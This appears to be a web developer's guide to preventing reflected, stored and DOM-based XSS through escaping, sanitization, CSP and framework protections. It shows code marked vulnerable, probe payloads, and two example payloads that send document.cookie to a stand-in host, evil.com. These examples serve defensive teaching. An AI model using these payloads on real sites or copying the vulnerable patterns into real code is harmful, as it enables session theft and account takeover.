XSS Prevention: A Practical Guide for Web Developers
Learn how to identify and prevent reflected, stored, and DOM-based XSS attacks using output escaping, HTML sanitization, and Content Security Policy.
Cross-Site Scripting (XSS) is a vulnerability that lets an attacker inject malicious JavaScript into a web page so it runs in another user’s browser, typically to steal session data or hijack an account. Despite being well-understood for over two decades, it consistently appears in the OWASP Top 10 because web applications handle user input everywhere, and it only takes one unescaped output to create a vulnerability.
This guide covers the three types of XSS, how each one works, and the concrete steps you should take to prevent them in your applications.
What XSS Actually Does
An XSS attack injects malicious JavaScript into a web page that other users view. Once the script executes in a victim’s browser, it can:
- Steal session cookies and authentication tokens
- Redirect users to phishing pages
- Modify the page content to trick users
- Make API requests on behalf of the authenticated user
- Install keyloggers that capture passwords
- Access anything the user’s JavaScript can access
The core problem is that the browser cannot distinguish between legitimate scripts you intended to run and injected scripts from an attacker. Both execute with the same privileges.
The Three Types of XSS
Reflected XSS
Reflected XSS occurs when user input is immediately included in the page response without proper escaping. The malicious payload is part of the request — typically in a URL parameter — and “reflected” back in the response.
Example vulnerable code:
// Express.js route - VULNERABLE
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Search results for: ${query}</h1>`);
});
An attacker crafts a URL like:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
When the victim clicks this link, the server includes the script tag in the HTML response, and the browser executes it.
How to prevent it:
- HTML-encode all user input before including it in HTML output
- Use templating engines that auto-escape by default (React, Angular, Jinja2 with autoescape, etc.)
Stored XSS
Stored XSS is more dangerous because the malicious payload is saved on the server — in a database, file, or cache — and served to every user who views the affected page.
Common targets:
- Comment sections
- User profile fields (display names, bios)
- Forum posts
- Product reviews
- Chat messages
Example:
An attacker posts a comment containing:
Great article! <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
If the application stores and displays this comment without sanitization, every user who views the page executes the attacker’s code.
How to prevent it:
- Sanitize HTML input before storing it
- Escape output when rendering
- Use an allowlist of permitted HTML tags if rich text is needed
DOM-Based XSS
DOM XSS happens entirely in the browser, without the malicious payload ever reaching the server. JavaScript code reads from an attacker-controlled source (like location.hash or document.referrer) and writes it to a dangerous sink (like innerHTML or eval()).
Example vulnerable code:
// VULNERABLE - DOM XSS
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Welcome, ${name}!`;
An attacker sends a link:
https://example.com/page?name=<img src=x onerror=alert(document.cookie)>
The browser-side JavaScript reads the parameter and writes it directly into the DOM.
How to prevent it:
- Use
textContentinstead ofinnerHTMLwhen inserting user-provided text - Use DOM APIs like
createElement()andsetAttribute()instead of string concatenation - Avoid
eval(),setTimeout()with strings, anddocument.write()
Escaping: The First Line of Defense
The most fundamental XSS prevention technique is context-aware output escaping. The key word is context — the same input needs different escaping depending on where it appears in the page.
HTML Context
Replace characters that have meaning in HTML with HTML entities:
| Character | Escape |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
You can also use our HTML entity encoder/decoder to quickly encode strings and see the resulting entities.
JavaScript Context
Never insert user input directly into JavaScript code:
<!-- VULNERABLE -->
<script>var name = '${userInput}';</script>
<!-- SAFE - use JSON encoding -->
<script>var name = JSON.parse('${JSON.stringify(userInput)}');</script>
URL Context
When inserting user input into URLs, use encodeURIComponent():
const redirectUrl = `/page?name=${encodeURIComponent(userInput)}`;
Our URL encoder/decoder shows exactly how a given string is percent-encoded, which is useful for spotting values that were not encoded correctly.
CSS Context
User input in CSS can also be dangerous:
/* VULNERABLE */
.element { background: url(${userInput}); }
Validate and sanitize CSS values strictly. Never allow arbitrary CSS from users.
HTML Sanitization
Sometimes you need to allow some HTML — rich text editors, markdown rendering, user-generated content. In these cases, you need a sanitizer that strips dangerous elements and attributes while keeping safe ones.
DOMPurify
DOMPurify is the gold standard for client-side HTML sanitization:
import DOMPurify from 'dompurify';
const dirty = '<p>Hello</p><script>alert("xss")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<p>Hello</p><img src="x">'
Configure it with an allowlist of tags and attributes:
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br'],
ALLOWED_ATTR: ['href', 'title'],
});
Server-Side Sanitization
Always sanitize on the server side, not just the client. Libraries vary by language:
- Node.js:
sanitize-html,DOMPurifywith jsdom - Python:
bleach,nh3 - Ruby:
sanitizegem - PHP:
HTMLPurifier - Go:
bluemonday
Content Security Policy (CSP)
Content Security Policy (CSP) is a defense-in-depth measure. It tells the browser which sources of content are trusted. Even if an XSS payload is injected, a strong CSP can prevent it from executing. For a broader look at CSP alongside other protective headers, see our security headers guide.
Basic CSP Header
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
Key Directives
| Directive | Controls |
|---|---|
default-src |
Fallback for all other directives |
script-src |
JavaScript sources |
style-src |
CSS sources |
img-src |
Image sources |
connect-src |
Fetch, XHR, WebSocket connections |
frame-src |
Iframe sources |
font-src |
Font file sources |
Blocking Inline Scripts
The most impactful CSP setting is blocking inline scripts. Most XSS attacks rely on injecting inline <script> tags or event handlers. With script-src 'self', only scripts loaded from your domain execute.
If you need inline scripts, use nonces:
Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">
// This script executes because the nonce matches
</script>
Generate a unique nonce for each response. Never reuse them.
You can build and test your CSP headers using our CSP header generator. It helps you construct a policy step by step and understand what each directive does. Once deployed, verify the header is actually being sent with the security headers checker.
Framework-Specific Protections
React
React escapes values in JSX by default:
// SAFE - React escapes the value
return <p>{userInput}</p>;
// DANGEROUS - bypasses escaping
return <p dangerouslySetInnerHTML={{ __html: userInput }} />;
Never use dangerouslySetInnerHTML with unsanitized input.
Angular
Angular sanitizes values automatically:
<!-- SAFE - Angular auto-sanitizes -->
<p>{{ userInput }}</p>
<!-- DANGEROUS - bypasses sanitization -->
<div [innerHTML]="userInput"></div>
Use Angular’s DomSanitizer if you must bind HTML.
Vue
Vue escapes text interpolation:
<!-- SAFE -->
<p>{{ userInput }}</p>
<!-- DANGEROUS -->
<p v-html="userInput"></p>
Server-Side Templates
Most modern templating engines auto-escape by default:
- Jinja2:
{{ value }}is auto-escaped.{{ value | safe }}bypasses escaping. - EJS:
<%= value %>escapes.<%- value %>does not. - Go templates:
{{ . }}inhtml/templateis auto-escaped.text/templatedoes not escape.
Know your template engine’s default behavior and never bypass escaping without sanitization.
Additional Protections
HTTPOnly Cookies
Set the HttpOnly flag on session cookies so JavaScript cannot access them:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
This does not prevent XSS, but it prevents cookie theft — one of the most common XSS payloads.
Trusted Types
Trusted Types is a browser API that prevents DOM XSS by requiring dangerous operations to use typed objects instead of raw strings:
// Create a policy
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
// This now requires a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);
Input Validation
Validate input on the server side. If a field should contain an email address, validate that it looks like an email. If it should be a number, parse it as a number. Validation is not a substitute for output escaping, but it reduces the attack surface.
Testing for XSS
- Manual testing: Try basic payloads like
<script>alert(1)</script>and"><img src=x onerror=alert(1)>in every input field - Automated scanning: Tools like OWASP ZAP, Burp Suite, and nuclei can find common XSS patterns
- Code review: Search for dangerous sinks like
innerHTML,document.write,eval, andv-html - CSP reporting: Use
Content-Security-Policy-Report-Onlyto detect violations without breaking functionality
Summary
XSS prevention requires defense in depth. Escape output based on context, sanitize any HTML you must render, set a strong Content Security Policy, and use framework protections correctly. No single measure is enough — the combination of escaping, sanitization, CSP, and secure cookie flags makes XSS exploitation significantly harder. Test regularly, review code for dangerous patterns, and treat every user input as potentially hostile.
Comments